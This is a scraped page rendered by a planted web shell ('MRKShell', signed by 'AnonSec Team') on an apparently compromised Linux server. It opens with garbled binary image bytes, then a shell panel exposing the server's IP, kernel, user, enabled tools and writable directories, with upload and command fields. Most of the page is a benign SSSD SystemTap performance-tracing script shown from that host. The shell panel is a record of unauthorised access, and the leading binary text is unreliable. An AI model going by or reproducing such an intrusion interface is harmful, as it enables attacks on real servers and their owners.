JFIF # -$)%7&).0444#9?92>-240 5+#+4;224;652252222225222220222522225222522;2225222222"B!1AQa"q2B#R3br5CS/!12AQ"aRq#3 ??;}q7:bd%Ո>L8/$rsrQٷf=+e: Rb0Z6pN۰7b 1S`JAT K,-֥7(bNRb9CsD/s,9?}+KA]`,EΞ@@ 3ukq14""tD@D@D@D@D@D@D@D@D@D@D@ȓ|:^Yw-)G%AI/9pwVSнm@6=g7AA5tg18gj>F'J,{C3(q<*#AzX?[$va:Q4SԽ7Uԥ&,c}nF;3mO$DN}RySm\*I"}b%7GLj;gp{{FYs(p_xOJFtStǸMU蓰s95"#H'Uq>7F5[}>v%'Y,&CqMzn}m*Xo vl˳hrӦ V)))g`7$sz^%I-1leE]y%݉>?f}( *BNNñ𜤢S[i'T1 ӥԊ>NlHď~)pKw1.UsD LI/k]Sr\r=ߴMAZNKi+P}| qBS*G*z:Imk\_|l6A7߉H\z0賈'Zt_\u>4 {\#O[ERxzLvP wOLT C0ȴ]BAʷ7uNNINS,(DDDDDDDL8MY݂N$ dMK׭i2FesmNQ=?omKv]OVl^@&pɴ[t5+E`oy.E]Ϳ}$g(7y7&X+imcT\(cHɤ|=. C =yȗXʧpv=&cX*[X_i4 GtfFՓnbMjR@ thv4LO I0zlU-_*G!cH9`nԿ \k-~rS*c[}9]qbi~+%)(h($ s;dՒG_\ё[Q,plq!pEſA RZU0*\n]a~Md_3EZ { &8e:jR*dAkyۛs\B˞0Z5%6e`3;0slSx+Xȇ"*ozkE"vܬWاQ8r @ m5$ [/KNFycgrۑ@ {""""""|xd*@s7o~7BSG|܎vøGtЍL١ѬnK/, f~^~l/Ij+!JI'^;{˚*hӤJarʮ)ڱ[P^$;%.V FLJW̔?2ԭUpJe,~b%iW Yhz̻FAl|3ln"M4kM@$2wmͣp8JY)ݬ.]3vԩİ(P*Tb/1FXTg KŮ*C9jE[69d!GZȩMu!5`H\Cp"=wSAmJjCn&/*Q[kQ~b"zΕ~)aA(2EZ0(FÑp.66_φk}T5 YdRarK ɽLSj"SnR-N-Mz~F^Igb Jq(~X fH'Ӵp5_HN(ܰ,Ȍ䶛DK%a~?FuI}"p=U+j}'p&I_ɑ-x!IٮM:w|q;9M?.6x:ODѪ̬zTL`t^?8xJ$ Q cL4d/_xy ˔ SPGNgwSrrS/`5ӧKj ,hTpI=LѦ(,Pc4*4iESO?5sMz<`&_bsTO)fkX[ xqq::h9ifVۉ\_R }JVg~Jzm`(]:O &6IOghX6+HM 7X]RkUr{HL-"< >~28b{[><@6gF5&\1̹nVŕonZM7 (SF$l\sM];owE+IֹȫzɲDߌPcMQMG)b,N ;*!uo&rHT`s^7įĴz0?P&Ҫ3]@H:hڢFҢM~p{&0s?k}+Ι9׵mw >?"fs+Odٯ̌m(R9T:UpbkW=F*ZQh urk8C8@ҧeUԀyKS '.UP,NBcpFS6n=AJl*7 4<(XY_Cda/D=()b,{yHL>[jrǹ7#M7fO`o/w]GȈEU2f\?7a)#봙݂͠SEg>VRdPfF@PV"Ꮷ_(qCJG_0?1[% NKu$7&ۭ ߡ26U$`/ 3ES:/nek |\tmSg5 س}6/qDT "(*sP4SrX)%T(6y%_ Z9<%]B}oyyY"]76*U*vjijw i3D̍IS \Jnn9ۋ>%o;~)5u56槡'z* B5#5

5#a`,>1TW{Xɘ}G4"ҕ4z5F>e6*[\;%*U0LUUr2cpnݢkɜY͌3+bG0#el۴oe,,jO*M1X/3z)W^,p>s{ İQs:ޝd|w :fIe$~+ajXjnT80'S>KIUP&kNϒT=XlȞNڞ]Yz_K[Qׂގ\gq!nB@IoG *l;_뼳\RUeэkm)qh傢5KNz٘6ba:671k{  $N vfN]S7gxg=VjG;wBx t~l/"ʭl=ԝ6n[Dٛ]@"x)# E):\8Bvkcpv4O*;coJ?4ªMCA'.\zVð'w1USݻSlTyj/ gʕ,:S')ܴ]7!A^b%P׶ٮհU3 o\}XTp,e 597n}dk6UFrVǧ3qaR:BWn>Ѻ}oxKӦK)kܑKL tCs1#?升 v{r:u)?#ZxM=ڝYـ#e}JHBGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V MR K IS HERE

MRKShell
Server IP : 104.21.73.244  /  Your IP : 104.23.243.134
Web Server : nginx/1.14.1
System : Linux comtuc2-s-2vcpu-8gb-160gb-intel-nyc3 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/usr/share/sssd/systemtap/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/self/root/usr/share/sssd/systemtap/nested_group_perf.stp
global time_in_populate
global populate_start_time
global populate_end_time

global time_in_save
global save_start_time
global save_end_time

global time_in_groupreq
global groupreq_start
global groupreq_end

global user_req_index = 0
global group_req_index = 1
global unknown_req_index = 2
global deref_req_index = 3
global ldap_req_times

global user_req_start
global user_req_end

global group_req_start
global group_req_end

global unknown_req_start
global unknown_req_end

global deref_req_start
global deref_req_end

global time_in_deref_nested
global deref_req_nested_start
global deref_req_nested_end

global time_in_deref_process
global deref_req_process_start
global deref_req_process_end

global time_in_transactions
global trans_start_time
global trans_end_time

global time_in_ldb
global ldb_start_time
global ldb_end_time

global time_in_nested_gr_req
global nested_gr_req_start_time
global nested_gr_req_end_time

global time_in_nested_gr_process_req
global nested_gr_process_req_start_time
global nested_gr_process_req_end_time

global time_in_split_members
global split_members_start
global split_members_end

global time_in_check_cache
global check_cache_start
global check_cache_end

global time_in_search_users
global search_users_start
global search_users_end

global time_in_search_groups
global search_groups_start
global search_groups_end

global time_in_populate_search_users
global populate_search_users_start
global populate_search_users_end

function print_report()
{
    user_req_total = @sum(ldap_req_times[user_req_index])
    group_req_total = @sum(ldap_req_times[group_req_index])
    unknown_req_total = @sum(ldap_req_times[unknown_req_index])
    deref_req_total = @sum(ldap_req_times[deref_req_index])
    all_req_total = user_req_total + group_req_total + unknown_req_total + deref_req_total

    # systemtap doesn't handle floating point numbers..
    trans_rate = 10000 * time_in_transactions / time_in_groupreq
    nested_rate = 10000 * time_in_nested_gr_req / time_in_groupreq

    printf("Time spent in group sssd_be searches: %d\n", time_in_groupreq)
    printf("Time spent in sdap_nested_group_send/recv: %d ms (ratio: %d.%02d%%)\n",
            time_in_nested_gr_req, nested_rate/100, nested_rate%100)
    printf("Time spent in zero-level sysdb transactions: %d ms (ratio: %d.%02d%%)\n",
            time_in_transactions, trans_rate/100, trans_rate%100)
    printf("\n")

    printf("Breakdown of sdap_nested_group req (total: %d ms)\n", time_in_nested_gr_req);
    printf("\tsdap_nested_group_process req: %d\n", time_in_nested_gr_process_req)
    printf("\t\tsdap_nested_group_process_split req: %d\n", time_in_split_members)
    printf("\t\t\tsdap_nested_group_check_cache: %d\n", time_in_check_cache)
    printf("\t\t\t\tsdap_nested_group_sysdb_search_users: %d\n", time_in_search_users)
    printf("\t\t\t\tsdap_nested_group_sysdb_search_groups: %d\n", time_in_search_groups)
    printf("\t\tldap request breakdown of total %d\n", all_req_total)
    printf("\t\t\tsdap_nested_group_deref req: %d\n", time_in_deref_nested)
    printf("\t\t\t\tsdap_deref_search_send req %d\n", deref_req_total)
    printf("\t\t\t\tprocessing deref results: %d\n", time_in_deref_process)
    printf("\t\t\tsdap_nested_group_lookup_user req: %d\n", user_req_total)
    printf("\t\t\tsdap_nested_group_lookup_group req: %d\n", group_req_total)
    printf("\t\t\tTime spent refreshing unknown members: %d\n", unknown_req_total)
    printf("\n")

    printf("Breakdown of results processing (total %d)\n", time_in_transactions);
    printf("\tTime spent populating nested members: %d\n", time_in_populate)
    printf("\t\tTime spent searching ldb while populating nested members: %d\n", time_in_populate_search_users)
    printf("\tTime spent saving nested members: %d\n", time_in_save)
    printf("\tTime spent writing to the ldb: %d ms\n", time_in_ldb)
    printf("\n")
}

probe sssd_transaction_start
{
    if (nesting == 0) {
        num_transactions++
        trans_start_time = gettimeofday_ms()
    }
}

probe sssd_transaction_commit_before
{
    if (nesting == 0) {
        ldb_start_time = gettimeofday_ms()
    }
}

probe sssd_transaction_commit_after
{
    if (nesting == 0) {
        trans_end_time = gettimeofday_ms()
        time_in_transactions += (trans_end_time-trans_start_time)

        ldb_end_time = gettimeofday_ms()
        time_in_ldb += (ldb_end_time - ldb_start_time)
    }
}

probe sdap_deref_send
{
    deref_req_start = gettimeofday_ms()
}

probe sdap_deref_recv
{
    deref_req_end = gettimeofday_ms()
    ldap_req_times[deref_req_index] <<< (deref_req_end - deref_req_start)
}

probe sdap_nested_group_lookup_user_send
{
    user_req_start = gettimeofday_ms()
}

probe sdap_nested_group_lookup_user_recv
{
    user_req_end = gettimeofday_ms()
    ldap_req_times[user_req_index] <<< (user_req_end - user_req_start)
}

probe sdap_nested_group_lookup_group_send
{
    group_req_start = gettimeofday_ms()
}

probe sdap_nested_group_lookup_group_recv
{
    group_req_end = gettimeofday_ms()
    ldap_req_times[group_req_index] <<< (group_req_end - group_req_start)
}

probe sdap_nested_group_lookup_unknown_send
{
    unknown_req_start = gettimeofday_ms()
}

probe sdap_nested_group_lookup_unknown_recv
{
    unknown_req_end = gettimeofday_ms()
    ldap_req_times[unknown_req_index] <<< (unknown_req_end - unknown_req_start)
}

probe sdap_nested_group_deref_send
{
    deref_req_nested_start = gettimeofday_ms()
}

probe sdap_nested_group_deref_recv
{
    deref_req_nested_end = gettimeofday_ms()
    time_in_deref_nested += (deref_req_nested_end - deref_req_nested_start)
}

probe sdap_nested_group_deref_process_pre
{
    deref_req_process_start = gettimeofday_ms()
}

probe sdap_nested_group_deref_process_post
{
    deref_req_process_end = gettimeofday_ms()
    time_in_deref_process += (deref_req_process_end - deref_req_process_start)
}

probe sdap_nested_group_populate_pre
{
    populate_start_time = gettimeofday_ms()
}

probe sdap_nested_group_populate_post
{
    populate_end_time = gettimeofday_ms()
    time_in_populate += (populate_end_time - populate_start_time)
}

probe sdap_nested_group_save_pre
{
    save_start_time = gettimeofday_ms()
}

probe sdap_nested_group_save_post
{
    save_end_time = gettimeofday_ms()
    time_in_save += (save_end_time - save_start_time)
}

probe sdap_nested_group_send
{
    nested_gr_req_start_time = gettimeofday_ms()
}

probe sdap_nested_group_recv
{
    nested_gr_req_end_time = gettimeofday_ms()
    time_in_nested_gr_req += (nested_gr_req_end_time - nested_gr_req_start_time)
}

probe sdap_nested_group_process_send
{
    nested_gr_process_req_start_time = gettimeofday_ms()
}

probe sdap_nested_group_process_recv
{
    nested_gr_process_req_end_time = gettimeofday_ms()
    time_in_nested_gr_process_req += (nested_gr_process_req_end_time - nested_gr_process_req_start_time)
}

probe sdap_nested_group_process_split_pre
{
    split_members_start = gettimeofday_ms()
}

probe sdap_nested_group_process_split_post
{
    split_members_end = gettimeofday_ms()
    time_in_split_members += (split_members_end - split_members_start)
}

probe sdap_nested_group_check_cache_pre
{
    check_cache_start = gettimeofday_ms()
}

probe sdap_nested_group_check_cache_post
{
    check_cache_end = gettimeofday_ms()
    time_in_check_cache += (check_cache_end - check_cache_start)
}

probe sdap_nested_group_sysdb_search_users_pre
{
    search_users_start = gettimeofday_ms()
}

probe sdap_nested_group_sysdb_search_users_post
{
    search_users_end = gettimeofday_ms()
    time_in_search_users += (search_users_end - search_users_start)
}

probe sdap_nested_group_sysdb_search_groups_pre
{
    search_groups_start = gettimeofday_ms()
}

probe sdap_nested_group_sysdb_search_groups_post
{
    search_groups_end = gettimeofday_ms()
    time_in_search_groups += (search_groups_end - search_groups_start)
}

probe sdap_nested_group_populate_search_users_pre
{
    populate_search_users_start = gettimeofday_ms()
}

probe sdap_nested_group_populate_search_users_post
{
    populate_search_users_end = gettimeofday_ms()
    time_in_populate_search_users += (populate_search_users_end - populate_search_users_start)
}

probe sdap_acct_req_send
{
    if (entry_type == 0x0002) {
        groupreq_start = gettimeofday_ms()
    }
}

probe sdap_acct_req_recv
{
    if (entry_type == 0x0002) {
        groupreq_end = gettimeofday_ms()
        time_in_groupreq += (groupreq_end - groupreq_start)
    }
}

probe begin
{
    time_in_populate = 0
    time_in_save = 0
    time_in_transactions = 0
}

probe end
{
    print_report()
}

Anon7 - 2022
AnonSec Team